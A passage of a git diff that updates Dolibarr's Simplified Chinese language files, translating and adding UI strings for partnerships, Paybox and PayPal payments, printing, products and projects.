      联系您的系统管理员,如果您想更改您的密码。 EnableGDLibraryDesc=这个选项安装或启用PHP的GD支持库。 @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Invoice %s has been validated. EMailTextInvoicePayed=Invoice %s has been paid. EMailTextProposalValidated=Proposal %s has been validated. EMailTextProposalClosedSigned=Proposal %s has been closed signed. +EMailTextProposalClosedSignedWeb=Proposal %s has been closed signed on portal page. +EMailTextProposalClosedRefused=Proposal %s has been closed refused. +EMailTextProposalClosedRefusedWeb=Proposal %s has been closed refuse on portal page. EMailTextOrderValidated=Order %s has been validated. EMailTextOrderApproved=Order %s has been approved. EMailTextOrderValidatedBy=Order %s has been recorded by %s. @@ -304,3 +310,30 @@ ConfirmBtnCommonContent = Are you sure you want to "%s" ? ConfirmBtnCommonTitle = Confirm your action CloseDialog = 关闭 Autofill = Autofill + +# externalsite +ExternalSiteSetup=设置链接到外部网站 +ExternalSiteURL=HTML 框架内容的外部网站链接 +ExternalSiteModuleNotComplete=外部网站模块配置不正确。 +ExampleMyMenuEntry=我的菜单选项 + +# ftp +FTPClientSetup=FTP 或 SFTP 客户端模块设置 +NewFTPClient=New FTP/SFTP connection setup +FTPArea=FTP/SFTP Area +FTPAreaDesc=这屏幕显示 FTP 或 SFTP 服务器的视图 +SetupOfFTPClientModuleNotComplete=FTP 或 SFTP 客户端模块的设置似乎不完整 +FTPFeatureNotSupportedByYourPHP=您的 PHP 不支持 FTP 或 SFTP 功能 +FailedToConnectToFTPServer=连接服务器失败 (服务器%s,端口%s) +FailedToConnectToFTPServerWithCredentials=使用定义的登录名/密码登录服务器失败 +FTPFailedToRemoveFile=无法删除文件%s。 +FTPFailedToRemoveDir=移除目录%s失败:检查权限和目录为空。 +FTPPassiveMode=被动模式 +ChooseAFTPEntryIntoMenu=从菜单中选择一个FTP/FTPS站点… +FailedToGetFile=获取文件失败 %s +ErrorFTPNodisconnect=Error to disconnect FTP/SFTP server +FileWasUpload=File %s was uploaded +FTPFailedToUploadFile=Failed to upload the file %s. +AddFolder=Create folder +FileWasCreateFolder=Folder %s has been created +FTPFailedToCreateFolder=Failed to create folder %s. diff --git a/htdocs/langs/zh_CN/partnership.lang b/htdocs/langs/zh_CN/partnership.lang index 53cfd3349be..ac470d86204 100644 --- a/htdocs/langs/zh_CN/partnership.lang +++ b/htdocs/langs/zh_CN/partnership.lang @@ -19,7 +19,8 @@ ModulePartnershipName=Partnership management PartnershipDescription=Module Partnership management PartnershipDescriptionLong= Module Partnership management -Partnership=Partnership +Partnership=合伙 +Partnerships=Partnerships AddPartnership=Add partnership CancelPartnershipForExpiredMembers=Partnership: Cancel partnership of members with expired subscriptions PartnershipCheckBacklink=Partnership: Check referring backlink @@ -28,6 +29,7 @@ PartnershipCheckBacklink=Partnership: Check referring backlink # Menu # NewPartnership=New Partnership +NewPartnershipbyWeb= Your partnership was added successfully. ListOfPartnerships=List of partnership # @@ -42,6 +44,7 @@ PARTNERSHIP_BACKLINKS_TO_CHECK=Backlinks to check PARTNERSHIP_NBDAYS_AFTER_MEMBER_EXPIRATION_BEFORE_CANCEL=Nb of days before cancelling status of a partnership when a subscription has expired ReferingWebsiteCheck=Check of website referring ReferingWebsiteCheckDesc=You can enable a feature to check that your partners has added a backlink to your website domains on their own website. +PublicFormRegistrationPartnerDesc=Dolibarr can provide you a public URL/website to allow external visitors to request to be part of the partnership program. # # Object @@ -59,6 +62,12 @@ BacklinkNotFoundOnPartnerWebsite=Backlink not found on partner website ConfirmClosePartnershipAsk=Are you sure you want to cancel this partnership? PartnershipType=Partnership type PartnershipRefApproved=Partnership %s approved +KeywordToCheckInWebsite=If you want to check that a given keyword is present into the website of each partner, define this keyword here +PartnershipDraft=草稿 +PartnershipAccepted=接受 +PartnershipRefused=已被拒绝 +PartnershipCanceled=已取消 +PartnershipManagedFor=Partners are # # Template Mail @@ -82,11 +91,6 @@ CountLastUrlCheckError=Number of errors for last URL check LastCheckBacklink=Date of last URL check ReasonDeclineOrCancel=Decline reason -# -# Status -# -PartnershipDraft=草稿 -PartnershipAccepted=接受 -PartnershipRefused=已被拒绝 -PartnershipCanceled=已取消 -PartnershipManagedFor=Partners are +NewPartnershipRequest=New partnership request +NewPartnershipRequestDesc=This form allows you to request to be part of one of our partnership program. If you need help to fill this form, please contact by email %s. + diff --git a/htdocs/langs/zh_CN/paybox.lang b/htdocs/langs/zh_CN/paybox.lang index 96ae9775047..15d81385ed1 100644 --- a/htdocs/langs/zh_CN/paybox.lang +++ b/htdocs/langs/zh_CN/paybox.lang @@ -1,31 +1,30 @@ # Dolibarr language file - Source file is en_US - paybox PayBoxSetup=PayBox模块设置 -PayBoxDesc=该模块提供的网页,以便在付款Paybox客户。这可以用来为一个自由付款或就某一Dolibarr对象(发票,订货,付款...) +PayBoxDesc=该模块提供页面,允许客户在Paybox付款。这可以用于免费付款或给特定的 Dolibarr 对象 (发票、订单……) 付款 FollowingUrlAreAvailableToMakePayments=以下网址可提供给客户的网页上,能够作出Dolibarr支付对象 -PaymentForm=付款方式 -WelcomeOnPaymentPage=Welcome to our online payment service +PaymentForm=付款表单 +WelcomeOnPaymentPage=欢迎使用我们的在线付款服务 ThisScreenAllowsYouToPay=这个屏幕允许你进行网上支付%s。 ThisIsInformationOnPayment=这是在做付款信息 ToComplete=要完成 YourEMail=付款确认的电子邮件 Creditor=债权人 PaymentCode=付款代码 -PayBoxDoPayment=Pay with Paybox +PayBoxDoPayment=使用 Paybox 付款 YouWillBeRedirectedOnPayBox=您将被重定向担保Paybox页,输入您的信用卡信息 Continue=下一个 -SetupPayBoxToHavePaymentCreatedAutomatically=Setup your Paybox with url %s to have payment created automatically when validated by Paybox. +SetupPayBoxToHavePaymentCreatedAutomatically=用网站链接%s设置您的 Paybox,以便当用 Paybox 验证时自动创建付款。 YourPaymentHasBeenRecorded=本页面确认您的付款已记录。谢谢。 -YourPaymentHasNotBeenRecorded=Your payment has NOT been recorded and the transaction has been canceled. Thank you. +YourPaymentHasNotBeenRecorded=您的付款尚未记录和交易已取消。谢谢。 AccountParameter=帐户参数 UsageParameter=使用参数 InformationToFindParameters=帮助,找到你的%s帐户信息 PAYBOX_CGI_URL_V2=钱箱付款CGI模块的调用地址 -VendorName=供应商名称 CSSUrlForPaymentForm=付款方式的CSS样式表的URL NewPayboxPaymentReceived=新建收款钱箱 NewPayboxPaymentFailed=尝试新建收款钱箱失败 -PAYBOX_PAYONLINE_SENDEMAIL=Email notification after payment attempt (success or fail) +PAYBOX_PAYONLINE_SENDEMAIL=付款尝试以后的电子邮件通知 (成功或失败) PAYBOX_PBX_SITE=PBX SITE参数值 PAYBOX_PBX_RANG=PBX Rang参数值 PAYBOX_PBX_IDENTIFIANT=PBX ID参数值 -PAYBOX_HMAC_KEY=HMAC key +PAYBOX_HMAC_KEY=HMAC 密钥 diff --git a/htdocs/langs/zh_CN/paypal.lang b/htdocs/langs/zh_CN/paypal.lang index 596f40f636e..f26e3f1fb9a 100644 --- a/htdocs/langs/zh_CN/paypal.lang +++ b/htdocs/langs/zh_CN/paypal.lang @@ -1,22 +1,22 @@ # Dolibarr language file - Source file is en_US - paypal PaypalSetup=贝宝模块的设置 -PaypalDesc=This module allows payment by customers via PayPal. This can be used for a ad-hoc payment or for a payment related to a Dolibarr object (invoice, order, ...) -PaypalOrCBDoPayment=Pay with PayPal (Card or PayPal) -PaypalDoPayment=Pay with PayPal +PaypalDesc=该模块允许客户通过PayPal付款。这可用于临时付款或与 Dolibarr 对象相关的付款 (发票、订单……) +PaypalOrCBDoPayment=使用 PayPal 付款 (信用卡或 PayPal) +PaypalDoPayment=使用 PayPal 付款 PAYPAL_API_SANDBOX=测试/沙箱模式 PAYPAL_API_USER=API的用户名 PAYPAL_API_PASSWORD=API密码 PAYPAL_API_SIGNATURE=API签名 PAYPAL_SSLVERSION=Curl SSL 版本 -PAYPAL_API_INTEGRAL_OR_PAYPALONLY=Offer "integral" payment (Credit card+PayPal) or "PayPal" only +PAYPAL_API_INTEGRAL_OR_PAYPALONLY=提供“整体”付款 (信用卡+ PayPal) 或仅提供“PayPal”付款 PaypalModeIntegral=积分 PaypalModeOnlyPaypal=支付宝 -ONLINE_PAYMENT_CSS_URL=Optional URL of CSS stylesheet on online payment page +ONLINE_PAYMENT_CSS_URL=在线付款页面 CSS 样式表的可选网址 ThisIsTransactionId=这是交易编号:%s -PAYPAL_ADD_PAYMENT_URL=Include the PayPal payment url when you send a document by email +PAYPAL_ADD_PAYMENT_URL=当您通过电子邮件发送文档时,请包含 PayPal 付款网址 NewOnlinePaymentReceived=收到新的在线支付 NewOnlinePaymentFailed=新的在线支付尝试但失败了 -ONLINE_PAYMENT_SENDEMAIL=Email address for notifications after each payment attempt (for success and fail) +ONLINE_PAYMENT_SENDEMAIL=每次付款尝试 (成功和失败) 后通知的电子邮件地址 ReturnURLAfterPayment=付款后返回网页地址 ValidationOfOnlinePaymentFailed=验证在线支付失败 PaymentSystemConfirmPaymentPageWasCalledButFailed=支付系统调用支付确认页面返回错误 @@ -27,10 +27,11 @@ ShortErrorMessage=简短错误信息 ErrorCode=错误代码 ErrorSeverityCode=错误严重性代码 OnlinePaymentSystem=在线支付系统 -PaypalLiveEnabled=PayPal "live" mode enabled (otherwise test/sandbox mode) -PaypalImportPayment=Import PayPal payments +PaypalLiveEnabled=启用 PayPal “实时”模式 (否则是测试/沙盒模式) +PaypalImportPayment=导入 PayPal 付款 PostActionAfterPayment=付款后发布操作 ARollbackWasPerformedOnPostActions=对所有Post操作执行了回滚。如果必要,您必须手动完成后期操作。 -ValidationOfPaymentFailed=Validation of payment has failed -CardOwner=Card holder -PayPalBalance=Paypal credit +ValidationOfPaymentFailed=付款验证失败 +CardOwner=持卡人 +PayPalBalance=PayPal 信用 +OnlineSubscriptionPaymentLine=在线订阅记录在%s
      通过%s缴付
      原始 IP 地址:%s
      交易 ID:%s diff --git a/htdocs/langs/zh_CN/printing.lang b/htdocs/langs/zh_CN/printing.lang index d3064ea0e93..14cc1497b17 100644 --- a/htdocs/langs/zh_CN/printing.lang +++ b/htdocs/langs/zh_CN/printing.lang @@ -1,16 +1,16 @@ # Dolibarr language file - Source file is en_US - printing -Module64000Name=One click Printing -Module64000Desc=Enable One click Printing System -PrintingSetup=Setup of One click Printing System -PrintingDesc=This module adds a Print button to various modules to allow documents to be printed directly to a printer with no need to open the document into another application. -MenuDirectPrinting=One click Printing jobs -DirectPrint=One click Print +Module64000Name=一键打印 +Module64000Desc=启用一键打印系统 +PrintingSetup=一键打印系统的设置 +PrintingDesc=该模块在各种模块中增加了一个打印按钮,允许将文件直接打印到打印机上,而不需要在其他应用程序中打开文档。 +MenuDirectPrinting=一键打印工作 +DirectPrint=一键打印 PrintingDriverDesc=打印驱动程序的配置变量。 ListDrivers=驱动列表 -PrintTestDesc=打印机列表。 +PrintTestDesc=打印机清单。 FileWasSentToPrinter=文件 %s 已发送到打印机 ViaModule=通过模块 -NoActivePrintingModuleFound=没有活动的驱动程序来打印文档检查模块%s的设置。 +NoActivePrintingModuleFound=没有活动的驱动程序来打印文档,检查模块%s的设置。 PleaseSelectaDriverfromList=请在驱动列表中选择驱动程序。 PleaseConfigureDriverfromList=请在下面配置列表中选择一个驱动程序。 SetupDriver=驱动设置 @@ -19,7 +19,7 @@ UserConf=单用户设置 PRINTGCP_INFO=谷歌 OAuth API 设置 PRINTGCP_AUTHLINK=认证 PRINTGCP_TOKEN_ACCESS=谷歌云打印 OAuth Token -PrintGCPDesc=This driver allows sending documents directly to a printer using Google Cloud Print. +PrintGCPDesc=这个驱动程序允许使用谷歌云打印将文档直接发送到打印机。 GCP_Name=名称 GCP_displayName=显示名称 GCP_Id=打印机ID号 @@ -27,7 +27,7 @@ GCP_OwnerName=用户名称 GCP_State=打印机状态 GCP_connectionStatus=在线状态 GCP_Type=打印机类型 -PrintIPPDesc=This driver allows sending of documents directly to a printer. It requires a Linux system with CUPS installed. +PrintIPPDesc=这个驱动程序允许将文档直接发送到打印机,它需要一个安装了 CUPS 的 Linux 系统。 PRINTIPP_HOST=打印服务器 PRINTIPP_PORT=端口 PRINTIPP_USER=登陆 @@ -45,8 +45,8 @@ IPP_Color=彩色 IPP_Device=设备 IPP_Media=打印媒体 IPP_Supported=媒体类型 -DirectPrintingJobsDesc=此页面列出了可用打印机的打印作业。 -GoogleAuthNotConfigured=Google OAuth has not been setup. Enable module OAuth and set a Google ID/Secret. +DirectPrintingJobsDesc=此页列出了为可用打印机找到的打印任务。 +GoogleAuthNotConfigured=谷歌OAuth还没有设置。启用OAuth模块和设置谷歌 ID/密码。 GoogleAuthConfigured=在OAuth模块的设置中发现了Google OAuth凭据。 PrintingDriverDescprintgcp=配置可用的谷歌云打印机驱动 PrintingDriverDescprintipp=打印驱动程序杯的配置变量。 diff --git a/htdocs/langs/zh_CN/products.lang b/htdocs/langs/zh_CN/products.lang index bd485326d4a..cfdf15ace35 100644 --- a/htdocs/langs/zh_CN/products.lang +++ b/htdocs/langs/zh_CN/products.lang @@ -2,7 +2,7 @@ ProductRef=产品编号 ProductLabel=产品名称 ProductLabelTranslated=产品标签已翻译 -ProductDescription=Product description +ProductDescription=产品描述 ProductDescriptionTranslated=产品描述已翻译 ProductNoteTranslated=产品备注已翻译 ProductServiceCard=产品/服务 信息卡 @@ -17,43 +17,43 @@ Create=创建 Reference=编号 NewProduct=新建产品 NewService=新建服务 -ProductVatMassChange=Global VAT Update -ProductVatMassChangeDesc=This tool updates the VAT rate defined on ALL products and services! +ProductVatMassChange=更新全局增值税 +ProductVatMassChangeDesc=此工具更新所有产品和服务定义的增值税税率。 MassBarcodeInit=批量条码初始化 MassBarcodeInitDesc=此页面可用于初始化未定义条形码的对象上的条形码。在模块条形码设置完成之前检查。 ProductAccountancyBuyCode=科目代码(采购) -ProductAccountancyBuyIntraCode=Accounting code (purchase intra-community) -ProductAccountancyBuyExportCode=Accounting code (purchase import) +ProductAccountancyBuyIntraCode=科目代码 (社区内采购) +ProductAccountancyBuyExportCode=科目代码 (进口采购) ProductAccountancySellCode=科目代码(销售) -ProductAccountancySellIntraCode=Accounting code (sale intra-Community) -ProductAccountancySellExportCode=科目代码(销售导出) +ProductAccountancySellIntraCode=科目代码 (社区内销售) +ProductAccountancySellExportCode=科目代码(出口销售) ProductOrService=产品或服务 ProductsAndServices=产品和服务 ProductsOrServices=产品或服务 -ProductsPipeServices=产品|服务 -ProductsOnSale=Products for sale -ProductsOnPurchase=Products for purchase -ProductsOnSaleOnly=产品(仅出售) -ProductsOnPurchaseOnly=产品(仅购买) -ProductsNotOnSell=产品(不出售也不采购) -ProductsOnSellAndOnBuy=产品(可销售、可采购) -ServicesOnSale=Services for sale -ServicesOnPurchase=Services for purchase -ServicesOnSaleOnly=服务(仅销售) -ServicesOnPurchaseOnly=服务(仅采购) -ServicesNotOnSell=服务(非出售也非采购) +ProductsPipeServices=产品 | 服务 +ProductsOnSale=供出售的产品 +ProductsOnPurchase=供采购的产品 +ProductsOnSaleOnly=仅供出售的产品 +ProductsOnPurchaseOnly=仅供采购的产品 +ProductsNotOnSell=非卖品和非采购产品 +ProductsOnSellAndOnBuy=供出售和供采购的产品 +ServicesOnSale=供出售的服务 +ServicesOnPurchase=供采购的服务 +ServicesOnSaleOnly=仅供出售的服务 +ServicesOnPurchaseOnly=仅供采购的服务 +ServicesNotOnSell=非卖品和非采购的服务 ServicesOnSellAndOnBuy=可销售的服务与可采购的服务 -LastModifiedProductsAndServices=Latest %s products/services which were modified +LastModifiedProductsAndServices=最新%s编辑过的产品/服务 LastRecordedProducts=最近登记的 %s 产品 LastRecordedServices=最后 %s 已记录服务 CardProduct0=产品 CardProduct1=服务 Stock=库存 MenuStocks=库存 -Stocks=Stocks and location (warehouse) of products +Stocks=产品的库存和位置 ( 仓库 ) Movements=库间调拨 Sell=销售 -Buy=Purchase +Buy=采购 OnSell=可销售 OnBuy=可采购 NotOnSell=不可销售 @@ -68,18 +68,18 @@ ProductStatusNotOnBuyShort=不可采购 UpdateVAT=更新VAT UpdateDefaultPrice=更新默认价格 UpdateLevelPrices=更新各级价格 -AppliedPricesFrom=Applied from +AppliedPricesFrom=申请自 SellingPrice=售价 -SellingPriceHT=Selling price (excl. tax) +SellingPriceHT=销售价格 ( 不含税 ) SellingPriceTTC=售价(税后) -SellingMinPriceTTC=Minimum Selling price (inc. tax) +SellingMinPriceTTC=最低销售价格 ( 含税 ) CostPriceDescription=This price field (excl. tax) can be used to capture the average amount this product costs to your company. It may be any price you calculate yourself, for example, from the average buying price plus average production and distribution cost. -CostPriceUsage=该值可用于保证金计算。 -ManufacturingPrice=Manufacturing price +CostPriceUsage=此值可用于利润计算。 +ManufacturingPrice=制造价格 SoldAmount=销售总额 PurchasedAmount=采购总额 NewPrice=新增价格 -MinPrice=Min. selling price +MinPrice=最低售价 EditSellingPriceLabel=编辑销售价格标签 CantBeLessThanMinPrice=售价不能低于此产品的最低价格 (%s 税前)。此消息也可能在您输入折扣巨大时出现 ContractStatusClosed=已禁用 @@ -88,7 +88,7 @@ ErrorProductBadRefOrLabel=输入的编号或标签无效,请输入符合要求 ErrorProductClone=试图同时复制该产品或服务会有一个问题。 ErrorPriceCantBeLowerThanMinPrice=错误,价格不能低于最低价格。 Suppliers=供应商 -SupplierRef=Vendor SKU +SupplierRef=供应商SKU ShowProduct=显示产品 ShowService=显示服务 ProductsAndServicesArea=产品和服务区 @@ -97,7 +97,7 @@ ServicesArea=服务区 ListOfStockMovements=库存移动清单 BuyingPrice=买价 PriceForEachProduct=产品明码标价 -SupplierCard=Vendor card +SupplierCard=供应商卡 PriceRemoved=价格已删除 BarCode=条码 BarcodeType=条码类型 @@ -105,7 +105,7 @@ SetDefaultBarcodeType=设置条码类型 BarcodeValue=条码值 NoteNotVisibleOnBill=备注 (账单、报价...中不可见) ServiceLimitedDuration=如果产品是有限期的服务: -FillWithLastServiceDates=Fill with last service line dates +FillWithLastServiceDates=填写最后服务行日期 MultiPricesAbility=Multiple price segments per product/service (each customer is in one price segment) MultiPricesNumPrices=价格个数 DefaultPriceType=Base of prices per default (with versus without tax) when adding new sale prices @@ -115,7 +115,7 @@ AssociatedProducts=Kits AssociatedProductsNumber=Number of products composing this kit ParentProductsNumber=父级包装产品的数量 ParentProducts=父产品 -IfZeroItIsNotAVirtualProduct=If 0, this product is not a kit +IfZeroItIsNotAVirtualProduct=如果为0,这产品不是套件 IfZeroItIsNotUsedByVirtualProduct=If 0, this product is not used by any kit KeywordFilter=关键词筛选 CategoryFilter=分类筛选 @@ -137,7 +137,8 @@ ConfirmDeleteProductLine=您确定要删除这行产品吗? ProductSpecial=Special QtyMin=Min. purchase quantity PriceQtyMin=Price quantity min. -PriceQtyMinCurrency=Price (currency) for this qty. (no discount) +PriceQtyMinCurrency=Price (currency) for this qty. +WithoutDiscount=Without discount VATRateForSupplierProduct=VAT Rate (for this vendor/product) DiscountQtyMin=Discount for this qty. NoPriceDefinedForThisSupplier=No price/qty defined for this vendor/product @@ -175,7 +176,7 @@ CountryOrigin=Country of origin RegionStateOrigin=Region of origin StateOrigin=State|Province of origin Nature=Nature of product (raw/manufactured) -NatureOfProductShort=Nature of product +NatureOfProductShort=产品性质 NatureOfProductDesc=Raw material or manufactured product ShortLabel=标签别名 Unit=单位 @@ -261,7 +262,7 @@ Quarter1=一季度 Quarter2=二季度 Quarter3=三季度 Quarter4=四季度 -BarCodePrintsheet=打印条码 +BarCodePrintsheet=Print barcodes PageToGenerateBarCodeSheets=With this tool, you can print sheets of barcode stickers. Choose format of your sticker page, type of barcode and value of barcode, then click on button %s. NumberOfStickers=要打印的标签数量 PrintsheetForOneBarCode=为一个条形码打印几个贴纸 @@ -344,9 +345,9 @@ PossibleValues=可能的值 GoOnMenuToCreateVairants=继续菜单%s - %s准备属性变体(如颜色,大小......) UseProductFournDesc=Add a feature to define the product description defined by the vendors (for each vendor reference) in addition to the description for customers ProductSupplierDescription=Vendor description for the product -UseProductSupplierPackaging=Use packaging on supplier prices (recalculate quantities according to packaging set on supplier price when adding/updating line in supplier documents) +UseProductSupplierPackaging=Use packaging for prices rounded to multiples for purchase prices (recalculate quantities according to multiples set on purchase prices when adding/updating line in a vendor documents) PackagingForThisProduct=Packaging -PackagingForThisProductDesc=On supplier order, you will automaticly order this quantity (or a multiple of this quantity). Cannot be less than minimum buying quantity +PackagingForThisProductDesc=You will automaticaly purchase a multiple of this quantity. QtyRecalculatedWithPackaging=The quantity of the line were recalculated according to supplier packaging #Attributes @@ -398,7 +399,7 @@ ActionAvailableOnVariantProductOnly=Action only available on the variant of prod ProductsPricePerCustomer=Product prices per customers ProductSupplierExtraFields=Additional Attributes (Supplier Prices) DeleteLinkedProduct=Delete the child product linked to the combination -AmountUsedToUpdateWAP=Amount to use to update the Weighted Average Price +AmountUsedToUpdateWAP=Unit amount to use to update the Weighted Average Price PMPValue=加权平均价格 PMPValueShort=的WAP mandatoryperiod=Mandatory periods @@ -408,6 +409,23 @@ mandatoryHelper=Check this if you want a message to the user when creating / val DefaultBOM=Default BOM DefaultBOMDesc=The default BOM recommended to use to manufacture this product. This field can be set only if nature of product is '%s'. Rank=Rank +MergeOriginProduct=Duplicate product (product you want to delete) +MergeProducts=Merge products +ConfirmMergeProducts=Are you sure you want to merge the chosen product with the current one? All linked objects (invoices, orders, ...) will be moved to the current product, after which the chosen product will be deleted. +ProductsMergeSuccess=Products have been merged +ErrorsProductsMerge=Errors in products merge SwitchOnSaleStatus=Switch on sale status SwitchOnPurchaseStatus=Switch on purchase status +UpdatePrice=Increase/decrease customer price StockMouvementExtraFields= Extra Fields (stock mouvement) +InventoryExtraFields= Extra Fields (inventory) +ScanOrTypeOrCopyPasteYourBarCodes=Scan or type or copy/paste your barcodes +PuttingPricesUpToDate=Update prices with current known prices +PMPExpected=Expected PMP +ExpectedValuation=Expected Valuation +PMPReal=Real PMP +RealValuation=Real Valuation +ConfirmEditExtrafield = Select the extrafield you want modify +ConfirmEditExtrafieldQuestion = Are you sure you want to modify this extrafield? +ModifyValueExtrafields = Modify value of an extrafield +OrProductsWithCategories=Or products with tags/categories diff --git a/htdocs/langs/zh_CN/projects.lang b/htdocs/langs/zh_CN/projects.lang index 1707b18cf65..a5f298a79e1 100644 --- a/htdocs/langs/zh_CN/projects.lang +++ b/htdocs/langs/zh_CN/projects.lang @@ -6,23 +6,24 @@ ProjectLabel=项目标签 ProjectsArea=项目区 ProjectStatus=项目状态 SharedProject=全体同仁 -PrivateProject=Assigned contacts -ProjectsImContactFor=Projects for which I am explicitly a contact +PrivateProject=分配的联系人 +ProjectsImContactFor=我明确是联系人的项目 AllAllowedProjects=我能阅读的所有项目(我的+公共) AllProjects=所有项目 -MyProjectsDesc=This view is limited to the projects that you are a contact for +MyProjectsDesc=此视图仅限于您作为联系人的项目 ProjectsPublicDesc=这种观点提出了所有你被允许阅读的项目。 TasksOnProjectsPublicDesc=此视图显示允许您阅读的项目的所有任务。 ProjectsPublicTaskDesc=这种观点提出的所有项目,您可阅读任务。 ProjectsDesc=这种观点提出的所有项目(你的用户权限批准你认为一切)。 TasksOnProjectsDesc=此视图显示所有项目的所有任务(您的用户权限授予您查看所有项目的权限)。 -MyTasksDesc=This view is limited to the projects or tasks that you are a contact for +MyTasksDesc=此视图仅限于您作为联系人的项目或任务 OnlyOpenedProject=只能看到打开的项目(草稿或关闭状态的项目不可见)。 ClosedProjectsAreHidden=已关闭的项目是不可见的。 TasksPublicDesc=这种观点提出的所有项目,您可阅读任务。 TasksDesc=这种观点提出的所有项目和任务(您的用户权限批准你认为一切)。 AllTaskVisibleButEditIfYouAreAssigned=合格项目的所有任务都是可见的,但您只能为分配给所选用户的任务输入时间。如果需要在其上输入时间,请分配任务。 -OnlyYourTaskAreVisible=Only tasks assigned to you are visible. If you need to enter time on a task and if the task is not visible here, then you need to assign the task to yourself. +OnlyYourTaskAreVisible=只有分配给您的任务才可见。 如果您需要在任务上输入时间,和任务在这里不可见,那么您需要将任务分配给自己。 +ImportDatasetProjects=Projects or opportunities ImportDatasetTasks=项目任务 ProjectCategories=项目标签/类别 NewProject=新建项目 @@ -37,17 +38,19 @@ OpportunitiesStatusForOpenedProjects=Leads amount of open projects by status OpportunitiesStatusForProjects=Leads amount of projects by status ShowProject=显示项目 ShowTask=显示任务 +SetThirdParty=Set third party SetProject=设置项目 +OutOfProject=项目外 NoProject=没有项目或拥有的定义 -NbOfProjects=Number of projects -NbOfTasks=Number of tasks +NbOfProjects=项目数量 +NbOfTasks=任务数量 TimeSpent=花费的时间 TimeSpentByYou=你花费的时间 TimeSpentByUser=用户花费时间 TimesSpent=所花费的时间 -TaskId=Task ID -RefTask=Task ref. -LabelTask=Task label +TaskId=任务ID +RefTask=任务参考 +LabelTask=任务标签 TaskTimeSpent=任务花费时间 TaskTimeUser=用户 TaskTimeNote=备注 @@ -57,9 +60,9 @@ WorkloadNotDefined=工作量没有定义 NewTimeSpent=所花费的时间 MyTimeSpent=我的时间花 BillTime=时间成本 -BillTimeShort=Bill time -TimeToBill=Time not billed -TimeBilled=Time billed +BillTimeShort=账单时间 +TimeToBill=未计费的时间 +TimeBilled=计费时间 Tasks=任务 Task=任务 TaskDateStart=任务开始日期 @@ -69,42 +72,42 @@ NewTask=新建任务 AddTask=创建任务 AddTimeSpent=创造时间成本 AddHereTimeSpentForDay=为天/任务添加时间成本 -AddHereTimeSpentForWeek=Add here time spent for this week/task +AddHereTimeSpentForWeek=在此添加本星期/任务的时间成本 Activity=活动 Activities=任务/活动 MyActivities=我的任务/活动 MyProjects=我的项目 MyProjectsArea=我的项目区 DurationEffective=有效时间 -ProgressDeclared=Declared real progress -TaskProgressSummary=Task progress -CurentlyOpenedTasks=Curently open tasks -TheReportedProgressIsLessThanTheCalculatedProgressionByX=The declared real progress is less %s than the progress on consumption -TheReportedProgressIsMoreThanTheCalculatedProgressionByX=The declared real progress is more %s than the progress on consumption -ProgressCalculated=Progress on consumption +ProgressDeclared=已宣布的实际进展 +TaskProgressSummary=任务进展 +CurentlyOpenedTasks=当前打开的任务 +TheReportedProgressIsLessThanTheCalculatedProgressionByX=宣布的实际进展比消耗进展少%s +TheReportedProgressIsMoreThanTheCalculatedProgressionByX=宣布的实际进展比消耗进展多%s +ProgressCalculated=消耗进展 WhichIamLinkedTo=which I'm linked to WhichIamLinkedToProject=which I'm linked to project Time=时间 -TimeConsumed=Consumed +TimeConsumed=已消耗 ListOfTasks=任务列表 GoToListOfTimeConsumed=转到消耗的时间列表 GanttView=甘特视图 -ListWarehouseAssociatedProject=List of warehouses associated to the project -ListProposalsAssociatedProject=List of the commercial proposals related to the project -ListOrdersAssociatedProject=List of sales orders related to the project -ListInvoicesAssociatedProject=List of customer invoices related to the project -ListPredefinedInvoicesAssociatedProject=List of customer template invoices related to the project -ListSupplierOrdersAssociatedProject=List of purchase orders related to the project -ListSupplierInvoicesAssociatedProject=List of vendor invoices related to the project -ListContractAssociatedProject=List of contracts related to the project -ListShippingAssociatedProject=List of shippings related to the project -ListFichinterAssociatedProject=List of interventions related to the project -ListExpenseReportsAssociatedProject=List of expense reports related to the project -ListDonationsAssociatedProject=List of donations related to the project -ListVariousPaymentsAssociatedProject=List of miscellaneous payments related to the project -ListSalariesAssociatedProject=List of payments of salaries related to the project -ListActionsAssociatedProject=List of events related to the project -ListMOAssociatedProject=List of manufacturing orders related to the project +ListWarehouseAssociatedProject=与项目关联的仓库清单 +ListProposalsAssociatedProject=与项目相关的商业建议书清单 +ListOrdersAssociatedProject=与项目相关的销售订单清单 +ListInvoicesAssociatedProject=与项目相关的客户发票清单 +ListPredefinedInvoicesAssociatedProject=与项目相关的客户模板发票清单 +ListSupplierOrdersAssociatedProject=与项目相关的采购订单清单 +ListSupplierInvoicesAssociatedProject=与项目相关的供应商发票清单 +ListContractAssociatedProject=与项目相关的联系人清单 +ListShippingAssociatedProject=与项目相关的发货清单 +ListFichinterAssociatedProject=与项目相关的干预措施清单 +ListExpenseReportsAssociatedProject=与项目相关的费用报告清单 +ListDonationsAssociatedProject=与项目相关的捐款清单 +ListVariousPaymentsAssociatedProject=与项目相关的杂项付款清单 +ListSalariesAssociatedProject=与项目相关的工资支付清单 +ListActionsAssociatedProject=与项目相关的事件清单 +ListMOAssociatedProject=与项目相关的制造订单清单 ListTaskTimeUserProject=项目相关任务时间列表 ListTaskTimeForTask=任务消耗的时间列表 ActivityOnProjectToday=今天的项目活动 @@ -117,12 +120,13 @@ ChildOfTask=子项目/任务 TaskHasChild=任务有子内容 NotOwnerOfProject=不是所有者的私人项目 AffectedTo=分配给 -CantRemoveProject=This project can't be removed as it is referenced by some other objects (invoice, orders or other). See tab '%s'. +CantRemoveProject=这个项目不能被删除,因为它被其他对象(发票,订单或其他)引用。 请参照标签“%s” ValidateProject=验证谟 ConfirmValidateProject=您确定要验证此项目吗? CloseAProject=关闭项目 ConfirmCloseAProject=您确定要关闭此项目吗? -AlsoCloseAProject=也关闭项目(如果你仍然需要关注生产任务,请保持打开状态) +AlsoCloseAProject=Also close project +AlsoCloseAProjectTooltip=Keep it open if you still need to follow production tasks on it ReOpenAProject=打开的项目 ConfirmReOpenAProject=您确定要重新打开此项目吗? ProjectContact=项目联系人 @@ -134,13 +138,13 @@ DeleteATimeSpent=删除的时间 ConfirmDeleteATimeSpent=你确定要删除这段时间吗? DoNotShowMyTasksOnly=查看未分配给我的任务 ShowMyTasksOnly=查看仅分配给我的任务 -TaskRessourceLinks=Contacts of task +TaskRessourceLinks=任务联系人 ProjectsDedicatedToThisThirdParty=这个项目致力于合作方 NoTasks=该项目没有任务 LinkedToAnotherCompany=链接到其他合作方 TaskIsNotAssignedToUser=任务未分配给用户。使用按钮“ %s ”立即分配任务。 